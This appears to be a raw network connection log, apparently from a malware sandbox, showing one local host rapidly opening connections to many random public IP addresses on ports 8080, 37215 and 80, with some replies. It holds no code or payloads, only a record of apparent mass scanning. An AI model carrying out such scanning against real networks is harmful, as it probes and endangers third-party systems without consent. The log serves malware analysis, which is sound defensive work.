Feb 19, 2025 19:43:18.278048992 CET	26802	8080	192.168.2.13	94.78.191.107
Feb 19, 2025 19:43:18.278048992 CET	26802	8080	192.168.2.13	85.60.142.31
Feb 19, 2025 19:43:18.278059959 CET	26802	8080	192.168.2.13	95.188.61.57
Feb 19, 2025 19:43:18.278075933 CET	26802	8080	192.168.2.13	94.182.147.108
Feb 19, 2025 19:43:18.278081894 CET	26802	8080	192.168.2.13	95.16.138.50
Feb 19, 2025 19:43:18.278091908 CET	26802	8080	192.168.2.13	62.73.215.110
Feb 19, 2025 19:43:18.278105021 CET	26802	8080	192.168.2.13	85.35.38.84
Feb 19, 2025 19:43:18.278115034 CET	26802	8080	192.168.2.13	95.188.146.164
Feb 19, 2025 19:43:18.278124094 CET	26802	8080	192.168.2.13	85.191.181.58
Feb 19, 2025 19:43:18.278141975 CET	26802	8080	192.168.2.13	94.233.214.42
Feb 19, 2025 19:43:18.278156042 CET	26802	8080	192.168.2.13	62.113.186.23
Feb 19, 2025 19:43:18.278172970 CET	26802	8080	192.168.2.13	94.25.34.234
Feb 19, 2025 19:43:18.278187037 CET	26802	8080	192.168.2.13	62.11.64.102
Feb 19, 2025 19:43:18.278198957 CET	26802	8080	192.168.2.13	85.233.117.62
Feb 19, 2025 19:43:18.278203964 CET	26802	8080	192.168.2.13	85.203.201.119
Feb 19, 2025 19:43:18.278219938 CET	26802	8080	192.168.2.13	94.102.228.4
Feb 19, 2025 19:43:18.278219938 CET	26802	8080	192.168.2.13	31.8.133.109
Feb 19, 2025 19:43:18.278229952 CET	26802	8080	192.168.2.13	94.48.206.128
Feb 19, 2025 19:43:18.278247118 CET	26802	8080	192.168.2.13	31.130.124.228
Feb 19, 2025 19:43:18.278250933 CET	26802	8080	192.168.2.13	95.60.39.154
Feb 19, 2025 19:43:18.278259039 CET	26802	8080	192.168.2.13	85.16.45.81
Feb 19, 2025 19:43:18.278263092 CET	26802	8080	192.168.2.13	31.255.212.205
Feb 19, 2025 19:43:18.278263092 CET	26802	8080	192.168.2.13	95.159.72.69
Feb 19, 2025 19:43:18.278264046 CET	26802	8080	192.168.2.13	94.77.13.251
Feb 19, 2025 19:43:18.278271914 CET	26802	8080	192.168.2.13	31.171.198.221
Feb 19, 2025 19:43:18.278278112 CET	26802	8080	192.168.2.13	62.127.232.152
Feb 19, 2025 19:43:18.278280973 CET	26802	8080	192.168.2.13	85.41.175.48
Feb 19, 2025 19:43:18.278289080 CET	26802	8080	192.168.2.13	85.95.27.171
Feb 19, 2025 19:43:18.278299093 CET	26802	8080	192.168.2.13	95.156.99.189
Feb 19, 2025 19:43:18.278321981 CET	26802	8080	192.168.2.13	95.120.186.129
Feb 19, 2025 19:43:18.278332949 CET	26802	8080	192.168.2.13	94.145.1.163
Feb 19, 2025 19:43:18.278350115 CET	26802	8080	192.168.2.13	31.48.183.198
Feb 19, 2025 19:43:18.278357029 CET	26802	8080	192.168.2.13	62.224.165.77
Feb 19, 2025 19:43:18.278369904 CET	26802	8080	192.168.2.13	94.100.241.204
Feb 19, 2025 19:43:18.278377056 CET	26802	8080	192.168.2.13	62.171.104.2
Feb 19, 2025 19:43:18.278393030 CET	26802	8080	192.168.2.13	95.154.105.70
Feb 19, 2025 19:43:18.278393984 CET	26802	8080	192.168.2.13	31.66.149.48
Feb 19, 2025 19:43:18.278403997 CET	26802	8080	192.168.2.13	31.9.69.73
Feb 19, 2025 19:43:18.278419018 CET	26802	8080	192.168.2.13	95.135.98.87
Feb 19, 2025 19:43:18.278435946 CET	26802	8080	192.168.2.13	31.116.132.55
Feb 19, 2025 19:43:18.278458118 CET	26802	8080	192.168.2.13	94.200.106.96
Feb 19, 2025 19:43:18.278458118 CET	26802	8080	192.168.2.13	31.88.127.42
Feb 19, 2025 19:43:18.278461933 CET	26802	8080	192.168.2.13	62.211.61.189
Feb 19, 2025 19:43:18.278461933 CET	26802	8080	192.168.2.13	85.216.59.226
Feb 19, 2025 19:43:18.278464079 CET	26802	8080	192.168.2.13	85.124.185.244
Feb 19, 2025 19:43:18.278480053 CET	26802	8080	192.168.2.13	62.29.4.124
Feb 19, 2025 19:43:18.278503895 CET	26802	8080	192.168.2.13	85.157.44.224
Feb 19, 2025 19:43:18.278508902 CET	26802	8080	192.168.2.13	85.48.196.117
Feb 19, 2025 19:43:18.278508902 CET	26802	8080	192.168.2.13	94.179.177.206
Feb 19, 2025 19:43:18.278521061 CET	26802	8080	192.168.2.13	85.190.174.1
Feb 19, 2025 19:43:18.278532028 CET	26802	8080	192.168.2.13	62.16.115.15
Feb 19, 2025 19:43:18.278564930 CET	26802	8080	192.168.2.13	95.137.18.176
Feb 19, 2025 19:43:18.278565884 CET	26802	8080	192.168.2.13	31.62.141.51
Feb 19, 2025 19:43:18.278567076 CET	26802	8080	192.168.2.13	85.50.6.227
Feb 19, 2025 19:43:18.278567076 CET	26802	8080	192.168.2.13	94.203.66.47
Feb 19, 2025 19:43:18.278575897 CET	26802	8080	192.168.2.13	94.239.58.178
Feb 19, 2025 19:43:18.278578997 CET	26802	8080	192.168.2.13	94.126.145.222
Feb 19, 2025 19:43:18.278593063 CET	26802	8080	192.168.2.13	62.25.35.25
Feb 19, 2025 19:43:18.278594017 CET	26802	8080	192.168.2.13	62.100.142.34
Feb 19, 2025 19:43:18.278605938 CET	26802	8080	192.168.2.13	62.178.34.73
Feb 19, 2025 19:43:18.278609991 CET	80	57104	112.153.230.206	192.168.2.13
Feb 19, 2025 19:43:18.278611898 CET	26802	8080	192.168.2.13	94.67.239.184
Feb 19, 2025 19:43:18.278629065 CET	26802	8080	192.168.2.13	85.167.11.194
Feb 19, 2025 19:43:18.278637886 CET	80	57482	112.21.233.203	192.168.2.13
Feb 19, 2025 19:43:18.278645039 CET	26802	8080	192.168.2.13	94.43.184.98
Feb 19, 2025 19:43:18.278647900 CET	26802	8080	192.168.2.13	62.28.161.121
Feb 19, 2025 19:43:18.278652906 CET	26802	8080	192.168.2.13	31.72.163.211
Feb 19, 2025 19:43:18.278661966 CET	26802	8080	192.168.2.13	85.14.85.214
Feb 19, 2025 19:43:18.278666019 CET	37215	40408	41.6.146.186	192.168.2.13
Feb 19, 2025 19:43:18.278669119 CET	26802	8080	192.168.2.13	95.197.234.102
Feb 19, 2025 19:43:18.278678894 CET	26802	8080	192.168.2.13	94.224.208.26
Feb 19, 2025 19:43:18.278692961 CET	26802	8080	192.168.2.13	31.207.56.29
Feb 19, 2025 19:43:18.278718948 CET	26802	8080	192.168.2.13	62.54.47.238
Feb 19, 2025 19:43:18.278733015 CET	26802	8080	192.168.2.13	94.3.73.252
Feb 19, 2025 19:43:18.278734922 CET	26802	8080	192.168.2.13	31.122.105.238
Feb 19, 2025 19:43:18.278760910 CET	26802	8080	192.168.2.13	94.37.247.29
Feb 19, 2025 19:43:18.278763056 CET	26802	8080	192.168.2.13	31.138.140.212
Feb 19, 2025 19:43:18.278785944 CET	26802	8080	192.168.2.13	94.197.123.251
Feb 19, 2025 19:43:18.278789043 CET	26802	8080	192.168.2.13	95.147.138.174
Feb 19, 2025 19:43:18.278803110 CET	26802	8080	192.168.2.13	95.13.11.112
Feb 19, 2025 19:43:18.278805971 CET	26802	8080	192.168.2.13	62.217.51.107
Feb 19, 2025 19:43:18.278832912 CET	26802	8080	192.168.2.13	31.139.149.60
Feb 19, 2025 19:43:18.278842926 CET	26802	8080	192.168.2.13	62.73.122.153
Feb 19, 2025 19:43:18.278855085 CET	26802	8080	192.168.2.13	95.186.37.192
Feb 19, 2025 19:43:18.278867960 CET	26802	8080	192.168.2.13	85.226.70.173
Feb 19, 2025 19:43:18.278873920 CET	26802	8080	192.168.2.13	95.189.130.43
Feb 19, 2025 19:43:18.278891087 CET	26802	8080	192.168.2.13	62.215.211.122
Feb 19, 2025 19:43:18.278892040 CET	26802	8080	192.168.2.13	31.1.208.201
Feb 19, 2025 19:43:18.278898001 CET	26802	8080	192.168.2.13	85.11.17.2
Feb 19, 2025 19:43:18.278908968 CET	26802	8080	192.168.2.13	31.60.57.206
Feb 19, 2025 19:43:18.278923988 CET	26802	8080	192.168.2.13	85.96.210.180
Feb 19, 2025 19:43:18.278934956 CET	26802	8080	192.168.2.13	95.235.203.87
Feb 19, 2025 19:43:18.278949022 CET	26802	8080	192.168.2.13	94.61.54.231
Feb 19, 2025 19:43:18.278954983 CET	26802	8080	192.168.2.13	94.188.97.49
Feb 19, 2025 19:43:18.278970957 CET	26802	8080	192.168.2.13	31.99.141.179
Feb 19, 2025 19:43:18.278983116 CET	26802	8080	192.168.2.13	31.200.187.108
Feb 19, 2025 19:43:18.278986931 CET	26802	8080	192.168.2.13	94.178.158.125
Feb 19, 2025 19:43:18.278995991 CET	26802	8080	192.168.2.13	31.64.11.129
Feb 19, 2025 19:43:18.278999090 CET	26802	8080	192.168.2.13	31.194.138.8
Feb 19, 2025 19:43:18.278999090 CET	26802	8080	192.168.2.13	85.157.75.132
Feb 19, 2025 19:43:18.278999090 CET	26802	8080	192.168.2.13	95.164.55.201
Feb 19, 2025 19:43:18.278999090 CET	26802	8080	192.168.2.13	85.58.188.70
Feb 19, 2025 19:43:18.279005051 CET	26802	8080	192.168.2.13	62.6.167.6
Feb 19, 2025 19:43:18.279011965 CET	26802	8080	192.168.2.13	94.245.184.219
Feb 19, 2025 19:43:18.279027939 CET	26802	8080	192.168.2.13	95.170.59.33
Feb 19, 2025 19:43:18.279038906 CET	26802	8080	192.168.2.13	31.139.237.118
Feb 19, 2025 19:43:18.279056072 CET	26802	8080	192.168.2.13	62.8.104.123
Feb 19, 2025 19:43:18.279056072 CET	26802	8080	192.168.2.13	62.222.72.44
Feb 19, 2025 19:43:18.279057980 CET	26802	8080	192.168.2.13	94.31.52.151
Feb 19, 2025 19:43:18.279102087 CET	26802	8080	192.168.2.13	62.8.39.225
Feb 19, 2025 19:43:18.279102087 CET	26802	8080	192.168.2.13	85.20.139.121
Feb 19, 2025 19:43:18.279119015 CET	26802	8080	192.168.2.13	85.16.221.36
Feb 19, 2025 19:43:18.279131889 CET	26802	8080	192.168.2.13	94.142.214.106
Feb 19, 2025 19:43:18.279131889 CET	26802	8080	192.168.2.13	31.205.59.149
Feb 19, 2025 19:43:18.279161930 CET	26802	8080	192.168.2.13	31.35.141.67
Feb 19, 2025 19:43:18.279166937 CET	26802	8080	192.168.2.13	31.61.187.248
Feb 19, 2025 19:43:18.279175043 CET	26802	8080	192.168.2.13	31.248.83.17
Feb 19, 2025 19:43:18.279184103 CET	26802	8080	192.168.2.13	95.226.40.66
Feb 19, 2025 19:43:18.279196978 CET	26802	8080	192.168.2.13	31.69.45.120
Feb 19, 2025 19:43:18.279201984 CET	26802	8080	192.168.2.13	62.108.233.116
Feb 19, 2025 19:43:18.279244900 CET	26802	8080	192.168.2.13	95.29.251.252
Feb 19, 2025 19:43:18.279256105 CET	26802	8080	192.168.2.13	85.200.171.179
Feb 19, 2025 19:43:18.279268980 CET	26802	8080	192.168.2.13	31.128.167.164
Feb 19, 2025 19:43:18.279275894 CET	26802	8080	192.168.2.13	95.224.66.40
Feb 19, 2025 19:43:18.279320955 CET	26802	8080	192.168.2.13	85.216.157.234
Feb 19, 2025 19:43:18.279326916 CET	26802	8080	192.168.2.13	95.42.94.153
Feb 19, 2025 19:43:18.279337883 CET	26802	8080	192.168.2.13	95.83.31.203
Feb 19, 2025 19:43:18.279339075 CET	26802	8080	192.168.2.13	85.218.69.70
Feb 19, 2025 19:43:18.279340982 CET	26802	8080	192.168.2.13	95.12.124.218
Feb 19, 2025 19:43:18.279340982 CET	26802	8080	192.168.2.13	95.25.137.159
Feb 19, 2025 19:43:18.279340982 CET	26802	8080	192.168.2.13	31.143.117.28
Feb 19, 2025 19:43:18.279340982 CET	26802	8080	192.168.2.13	31.95.184.29
Feb 19, 2025 19:43:18.279340982 CET	26802	8080	192.168.2.13	62.229.8.217
Feb 19, 2025 19:43:18.279340982 CET	26802	8080	192.168.2.13	62.46.250.111
Feb 19, 2025 19:43:18.279341936 CET	26802	8080	192.168.2.13	94.102.73.247
Feb 19, 2025 19:43:18.279341936 CET	26802	8080	192.168.2.13	95.90.217.175
Feb 19, 2025 19:43:18.279349089 CET	26802	8080	192.168.2.13	95.239.62.131
Feb 19, 2025 19:43:18.279355049 CET	26802	8080	192.168.2.13	94.189.152.110
Feb 19, 2025 19:43:18.279355049 CET	26802	8080	192.168.2.13	94.2.228.235
Feb 19, 2025 19:43:18.279361963 CET	26802	8080	192.168.2.13	85.70.157.153
Feb 19, 2025 19:43:18.279371977 CET	26802	8080	192.168.2.13	31.122.140.195
Feb 19, 2025 19:43:18.279390097 CET	26802	8080	192.168.2.13	85.125.151.151
Feb 19, 2025 19:43:18.279401064 CET	26802	8080	192.168.2.13	94.138.72.83
Feb 19, 2025 19:43:18.279407978 CET	26802	8080	192.168.2.13	95.240.31.225
Feb 19, 2025 19:43:18.279417038 CET	26802	8080	192.168.2.13	94.84.157.132
Feb 19, 2025 19:43:18.279433012 CET	26802	8080	192.168.2.13	62.227.60.85
Feb 19, 2025 19:43:18.279433012 CET	26802	8080	192.168.2.13	31.201.76.201
Feb 19, 2025 19:43:18.279434919 CET	26802	8080	192.168.2.13	62.216.31.131
Feb 19, 2025 19:43:18.279442072 CET	26802	8080	192.168.2.13	85.159.201.103
Feb 19, 2025 19:43:18.279459000 CET	26802	8080	192.168.2.13	62.109.44.196
Feb 19, 2025 19:43:18.279485941 CET	26802	8080	192.168.2.13	94.227.8.151
Feb 19, 2025 19:43:18.279485941 CET	26802	8080	192.168.2.13	94.34.245.21
Feb 19, 2025 19:43:18.279489994 CET	26802	8080	192.168.2.13	94.160.123.175
Feb 19, 2025 19:43:18.279496908 CET	26802	8080	192.168.2.13	85.197.11.150
Feb 19, 2025 19:43:18.279510975 CET	26802	8080	192.168.2.13	94.3.231.171
Feb 19, 2025 19:43:18.279522896 CET	26802	8080	192.168.2.13	62.111.194.119
Feb 19, 2025 19:43:18.279527903 CET	26802	8080	192.168.2.13	62.233.202.12
Feb 19, 2025 19:43:18.279537916 CET	26802	8080	192.168.2.13	62.146.87.19
Feb 19, 2025 19:43:18.279537916 CET	26802	8080	192.168.2.13	31.95.156.111
Feb 19, 2025 19:43:18.279546022 CET	26802	8080	192.168.2.13	31.244.224.124
Feb 19, 2025 19:43:18.279553890 CET	26802	8080	192.168.2.13	31.252.215.38
Feb 19, 2025 19:43:18.279567957 CET	26802	8080	192.168.2.13	62.104.190.109
Feb 19, 2025 19:43:18.279575109 CET	26802	8080	192.168.2.13	31.24.162.164
Feb 19, 2025 19:43:18.279586077 CET	26802	8080	192.168.2.13	94.29.142.28
Feb 19, 2025 19:43:18.279642105 CET	26802	8080	192.168.2.13	95.13.158.245
Feb 19, 2025 19:43:18.279642105 CET	26802	8080	192.168.2.13	31.185.133.219
Feb 19, 2025 19:43:18.279652119 CET	26802	8080	192.168.2.13	94.237.241.83
Feb 19, 2025 19:43:18.279663086 CET	26802	8080	192.168.2.13	94.0.235.2
Feb 19, 2025 19:43:18.279668093 CET	26802	8080	192.168.2.13	94.202.50.145
Feb 19, 2025 19:43:18.279675007 CET	26802	8080	192.168.2.13	95.87.177.179
Feb 19, 2025 19:43:18.279680967 CET	26802	8080	192.168.2.13	31.192.78.150
Feb 19, 2025 19:43:18.279690027 CET	26802	8080	192.168.2.13	94.26.55.173
Feb 19, 2025 19:43:18.279702902 CET	26802	8080	192.168.2.13	62.169.187.99
Feb 19, 2025 19:43:18.279715061 CET	26802	8080	192.168.2.13	85.237.202.59
Feb 19, 2025 19:43:18.279736042 CET	26802	8080	192.168.2.13	94.173.114.213
Feb 19, 2025 19:43:18.279747009 CET	26802	8080	192.168.2.13	85.57.49.58
Feb 19, 2025 19:43:18.279757023 CET	26802	8080	192.168.2.13	94.59.237.167
Feb 19, 2025 19:43:18.279774904 CET	26802	8080	192.168.2.13	95.106.210.219
Feb 19, 2025 19:43:18.279779911 CET	26802	8080	192.168.2.13	31.57.135.101
Feb 19, 2025 19:43:18.279794931 CET	26802	8080	192.168.2.13	31.132.193.150
Feb 19, 2025 19:43:18.279803991 CET	26802	8080	192.168.2.13	95.131.71.52
Feb 19, 2025 19:43:18.279817104 CET	26802	8080	192.168.2.13	31.32.121.99
Feb 19, 2025 19:43:18.279827118 CET	26802	8080	192.168.2.13	31.203.11.67
Feb 19, 2025 19:43:18.279834032 CET	26802	8080	192.168.2.13	85.113.168.0
Feb 19, 2025 19:43:18.279849052 CET	26802	8080	192.168.2.13	95.215.22.239
Feb 19, 2025 19:43:18.279860020 CET	26802	8080	192.168.2.13	62.239.119.90
Feb 19, 2025 19:43:18.279869080 CET	26802	8080	192.168.2.13	95.212.71.42
Feb 19, 2025 19:43:18.279892921 CET	26802	8080	192.168.2.13	31.252.199.190
Feb 19, 2025 19:43:18.280487061 CET	51210	8080	192.168.2.13	62.67.87.21
Feb 19, 2025 19:43:18.280757904 CET	26802	8080	192.168.2.13	62.211.236.61
Feb 19, 2025 19:43:18.280757904 CET	26802	8080	192.168.2.13	31.88.127.89
Feb 19, 2025 19:43:18.280757904 CET	26802	8080	192.168.2.13	85.95.120.68
Feb 19, 2025 19:43:18.280757904 CET	26802	8080	192.168.2.13	94.191.35.94
Feb 19, 2025 19:43:18.280757904 CET	26802	8080	192.168.2.13	94.227.111.104
Feb 19, 2025 19:43:18.280757904 CET	26802	8080	192.168.2.13	62.154.149.23
Feb 19, 2025 19:43:18.280801058 CET	8080	26802	31.137.51.131	192.168.2.13
Feb 19, 2025 19:43:18.280847073 CET	26802	8080	192.168.2.13	31.137.51.131
Feb 19, 2025 19:43:18.281652927 CET	42332	8080	192.168.2.13	31.137.51.131
Feb 19, 2025 19:43:18.290776014 CET	53170	37215	192.168.2.13	41.11.16.31
Feb 19, 2025 19:43:18.290776014 CET	33160	37215	192.168.2.13	41.180.24.40
Feb 19, 2025 19:43:18.290779114 CET	53002	80	192.168.2.13	112.191.154.247
Feb 19, 2025 19:43:18.290793896 CET	39378	80	192.168.2.13	112.54.221.105
Feb 19, 2025 19:43:18.290797949 CET	44468	80	192.168.2.13	112.129.62.116
Feb 19, 2025 19:43:18.290797949 CET	40730	37215	192.168.2.13	41.192.105.248
Feb 19, 2025 19:43:18.290801048 CET	54324	80	192.168.2.13	112.72.61.1
Feb 19, 2025 19:43:18.290801048 CET	49246	37215	192.168.2.13	41.65.58.41
Feb 19, 2025 19:43:18.290802956 CET	58124	37215	192.168.2.13	41.97.246.77
Feb 19, 2025 19:43:18.290811062 CET	37366	37215	192.168.2.13	41.236.2.206
Feb 19, 2025 19:43:18.290811062 CET	51980	37215	192.168.2.13	41.145.179.160
Feb 19, 2025 19:43:18.290812016 CET	42814	80	192.168.2.13	112.123.98.126
Feb 19, 2025 19:43:18.290812016 CET	52806	37215	192.168.2.13	41.217.123.164
Feb 19, 2025 19:43:18.290815115 CET	60976	80	192.168.2.13	112.185.156.92
Feb 19, 2025 19:43:18.290815115 CET	50848	80	192.168.2.13	112.81.89.162
Feb 19, 2025 19:43:18.290815115 CET	33944	80	192.168.2.13	112.215.50.93
Feb 19, 2025 19:43:18.290815115 CET	56298	80	192.168.2.13	112.75.226.122
Feb 19, 2025 19:43:18.290816069 CET	45260	37215	192.168.2.13	41.141.102.123
Feb 19, 2025 19:43:18.290817976 CET	34188	80	192.168.2.13	112.159.170.189
Feb 19, 2025 19:43:18.290818930 CET	58746	37215	192.168.2.13	41.223.11.79
Feb 19, 2025 19:43:18.290827990 CET	37150	37215	192.168.2.13	41.85.215.126
Feb 19, 2025 19:43:18.290827990 CET	60298	80	192.168.2.13	112.176.77.66
Feb 19, 2025 19:43:18.295842886 CET	37215	53170	41.11.16.31	192.168.2.13
Feb 19, 2025 19:43:18.295917988 CET	53170	37215	192.168.2.13	41.11.16.31
Feb 19, 2025 19:43:18.296050072 CET	53170	37215	192.168.2.13	41.11.16.31
Feb 19, 2025 19:43:18.296094894 CET	53170	37215	192.168.2.13	41.11.16.31
Feb 19, 2025 19:43:18.301069975 CET	37215	53170	41.11.16.31	192.168.2.13
Feb 19, 2025 19:43:18.310617924 CET	80	34084	112.62.87.190	192.168.2.13
Feb 19, 2025 19:43:18.310647964 CET	37215	38856	41.79.26.198	192.168.2.13
Feb 19, 2025 19:43:18.310676098 CET	37215	43278	41.161.208.160	192.168.2.13
Feb 19, 2025 19:43:18.318109989 CET	8080	42526	94.243.97.193	192.168.2.13
Feb 19, 2025 19:43:18.318180084 CET	42526	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:18.322753906 CET	55174	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:18.322757959 CET	35978	37215	192.168.2.13	41.104.131.128
Feb 19, 2025 19:43:18.322777987 CET	45322	80	192.168.2.13	112.43.133.23
Feb 19, 2025 19:43:18.322778940 CET	46288	37215	192.168.2.13	41.99.158.124
Feb 19, 2025 19:43:18.322778940 CET	57598	80	192.168.2.13	112.142.24.157
Feb 19, 2025 19:43:18.322783947 CET	49304	37215	192.168.2.13	41.36.29.150
Feb 19, 2025 19:43:18.322788000 CET	39842	37215	192.168.2.13	41.2.104.204
Feb 19, 2025 19:43:18.322788000 CET	46820	37215	192.168.2.13	41.113.159.219
Feb 19, 2025 19:43:18.322801113 CET	48240	37215	192.168.2.13	41.46.196.156
Feb 19, 2025 19:43:18.322802067 CET	55642	37215	192.168.2.13	41.30.83.86
Feb 19, 2025 19:43:18.327882051 CET	80	55174	112.76.8.20	192.168.2.13
Feb 19, 2025 19:43:18.327891111 CET	37215	35978	41.104.131.128	192.168.2.13
Feb 19, 2025 19:43:18.327899933 CET	37215	46288	41.99.158.124	192.168.2.13
Feb 19, 2025 19:43:18.327948093 CET	55174	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:18.327970028 CET	35978	37215	192.168.2.13	41.104.131.128
Feb 19, 2025 19:43:18.327996016 CET	46288	37215	192.168.2.13	41.99.158.124
Feb 19, 2025 19:43:18.328114033 CET	35978	37215	192.168.2.13	41.104.131.128
Feb 19, 2025 19:43:18.328190088 CET	35978	37215	192.168.2.13	41.104.131.128
Feb 19, 2025 19:43:18.328380108 CET	55174	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:18.328380108 CET	55174	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:18.328392029 CET	46288	37215	192.168.2.13	41.99.158.124
Feb 19, 2025 19:43:18.328392029 CET	46288	37215	192.168.2.13	41.99.158.124
Feb 19, 2025 19:43:18.328877926 CET	55352	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:18.333105087 CET	37215	35978	41.104.131.128	192.168.2.13
Feb 19, 2025 19:43:18.333353996 CET	80	55174	112.76.8.20	192.168.2.13
Feb 19, 2025 19:43:18.333460093 CET	37215	46288	41.99.158.124	192.168.2.13
Feb 19, 2025 19:43:18.333854914 CET	80	55352	112.76.8.20	192.168.2.13
Feb 19, 2025 19:43:18.333936930 CET	55352	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:18.333936930 CET	55352	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:18.339292049 CET	80	55352	112.76.8.20	192.168.2.13
Feb 19, 2025 19:43:18.339337111 CET	55352	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:18.346606970 CET	37215	53170	41.11.16.31	192.168.2.13
Feb 19, 2025 19:43:18.354758978 CET	49012	37215	192.168.2.13	41.100.123.121
Feb 19, 2025 19:43:18.354774952 CET	37358	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:18.354815006 CET	57718	80	192.168.2.13	112.29.109.63
Feb 19, 2025 19:43:18.354815960 CET	54338	80	192.168.2.13	112.215.100.84
Feb 19, 2025 19:43:18.354823112 CET	41526	80	192.168.2.13	112.19.43.201
Feb 19, 2025 19:43:18.354826927 CET	52206	80	192.168.2.13	112.20.171.23
Feb 19, 2025 19:43:18.354847908 CET	60962	80	192.168.2.13	112.92.192.205
Feb 19, 2025 19:43:18.354847908 CET	39040	80	192.168.2.13	112.23.8.163
Feb 19, 2025 19:43:18.354856014 CET	38516	80	192.168.2.13	112.237.229.98
Feb 19, 2025 19:43:18.354871988 CET	42368	80	192.168.2.13	112.190.182.192
Feb 19, 2025 19:43:18.354897022 CET	58582	80	192.168.2.13	112.137.4.185
Feb 19, 2025 19:43:18.354913950 CET	39396	80	192.168.2.13	112.62.83.91
Feb 19, 2025 19:43:18.354913950 CET	51466	80	192.168.2.13	112.248.206.112
Feb 19, 2025 19:43:18.354918003 CET	42224	80	192.168.2.13	112.173.4.193
Feb 19, 2025 19:43:18.354921103 CET	44376	80	192.168.2.13	112.93.31.83
Feb 19, 2025 19:43:18.354923964 CET	50862	80	192.168.2.13	112.136.93.211
Feb 19, 2025 19:43:18.354923964 CET	44764	80	192.168.2.13	112.94.111.49
Feb 19, 2025 19:43:18.354938030 CET	36538	80	192.168.2.13	112.80.82.213
Feb 19, 2025 19:43:18.354938030 CET	38384	80	192.168.2.13	112.176.196.97
Feb 19, 2025 19:43:18.359839916 CET	37215	49012	41.100.123.121	192.168.2.13
Feb 19, 2025 19:43:18.359925032 CET	80	37358	112.145.246.200	192.168.2.13
Feb 19, 2025 19:43:18.359954119 CET	49012	37215	192.168.2.13	41.100.123.121
Feb 19, 2025 19:43:18.359989882 CET	37358	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:18.360069990 CET	49012	37215	192.168.2.13	41.100.123.121
Feb 19, 2025 19:43:18.360116959 CET	49012	37215	192.168.2.13	41.100.123.121
Feb 19, 2025 19:43:18.360182047 CET	37358	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:18.365106106 CET	37215	49012	41.100.123.121	192.168.2.13
Feb 19, 2025 19:43:18.365526915 CET	80	37358	112.145.246.200	192.168.2.13
Feb 19, 2025 19:43:18.365581989 CET	37358	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:18.374607086 CET	37215	46288	41.99.158.124	192.168.2.13
Feb 19, 2025 19:43:18.374636889 CET	80	55174	112.76.8.20	192.168.2.13
Feb 19, 2025 19:43:18.374665022 CET	37215	35978	41.104.131.128	192.168.2.13
Feb 19, 2025 19:43:18.386759996 CET	34326	37215	192.168.2.13	41.165.158.129
Feb 19, 2025 19:43:18.386759996 CET	47630	37215	192.168.2.13	41.45.167.168
Feb 19, 2025 19:43:18.386765003 CET	59192	37215	192.168.2.13	41.21.202.47
Feb 19, 2025 19:43:18.386765003 CET	47440	37215	192.168.2.13	41.118.252.79
Feb 19, 2025 19:43:18.386786938 CET	55474	80	192.168.2.13	112.165.94.183
Feb 19, 2025 19:43:18.386852980 CET	33644	80	192.168.2.13	112.161.47.71
Feb 19, 2025 19:43:18.386918068 CET	44388	80	192.168.2.13	112.164.248.186
Feb 19, 2025 19:43:18.391774893 CET	37215	34326	41.165.158.129	192.168.2.13
Feb 19, 2025 19:43:18.391824961 CET	37215	47630	41.45.167.168	192.168.2.13
Feb 19, 2025 19:43:18.391839981 CET	34326	37215	192.168.2.13	41.165.158.129
Feb 19, 2025 19:43:18.391854048 CET	37215	59192	41.21.202.47	192.168.2.13
Feb 19, 2025 19:43:18.391871929 CET	47630	37215	192.168.2.13	41.45.167.168
Feb 19, 2025 19:43:18.391910076 CET	59192	37215	192.168.2.13	41.21.202.47
Feb 19, 2025 19:43:18.391937017 CET	34326	37215	192.168.2.13	41.165.158.129
Feb 19, 2025 19:43:18.391976118 CET	47630	37215	192.168.2.13	41.45.167.168
Feb 19, 2025 19:43:18.392004013 CET	34326	37215	192.168.2.13	41.165.158.129
Feb 19, 2025 19:43:18.392033100 CET	47630	37215	192.168.2.13	41.45.167.168
Feb 19, 2025 19:43:18.392055035 CET	59192	37215	192.168.2.13	41.21.202.47
Feb 19, 2025 19:43:18.392117977 CET	59192	37215	192.168.2.13	41.21.202.47
Feb 19, 2025 19:43:18.396949053 CET	37215	34326	41.165.158.129	192.168.2.13
Feb 19, 2025 19:43:18.397089958 CET	37215	47630	41.45.167.168	192.168.2.13
Feb 19, 2025 19:43:18.397150993 CET	37215	59192	41.21.202.47	192.168.2.13
Feb 19, 2025 19:43:18.406618118 CET	37215	49012	41.100.123.121	192.168.2.13
Feb 19, 2025 19:43:18.418780088 CET	34986	37215	192.168.2.13	41.64.83.78
Feb 19, 2025 19:43:18.418780088 CET	51246	37215	192.168.2.13	41.81.144.144
Feb 19, 2025 19:43:18.418788910 CET	57600	37215	192.168.2.13	41.43.1.195
Feb 19, 2025 19:43:18.418828964 CET	51410	37215	192.168.2.13	41.146.26.197
Feb 19, 2025 19:43:18.418863058 CET	46338	37215	192.168.2.13	41.118.85.199
Feb 19, 2025 19:43:18.418905973 CET	35244	37215	192.168.2.13	41.160.252.59
Feb 19, 2025 19:43:18.418905973 CET	36066	37215	192.168.2.13	41.154.192.30
Feb 19, 2025 19:43:18.424109936 CET	37215	34986	41.64.83.78	192.168.2.13
Feb 19, 2025 19:43:18.424124002 CET	37215	51246	41.81.144.144	192.168.2.13
Feb 19, 2025 19:43:18.424137115 CET	37215	57600	41.43.1.195	192.168.2.13
Feb 19, 2025 19:43:18.424176931 CET	34986	37215	192.168.2.13	41.64.83.78
Feb 19, 2025 19:43:18.424176931 CET	51246	37215	192.168.2.13	41.81.144.144
Feb 19, 2025 19:43:18.424267054 CET	37215	51410	41.146.26.197	192.168.2.13
Feb 19, 2025 19:43:18.424271107 CET	57600	37215	192.168.2.13	41.43.1.195
Feb 19, 2025 19:43:18.424287081 CET	51246	37215	192.168.2.13	41.81.144.144
Feb 19, 2025 19:43:18.424324989 CET	57600	37215	192.168.2.13	41.43.1.195
Feb 19, 2025 19:43:18.424343109 CET	51410	37215	192.168.2.13	41.146.26.197
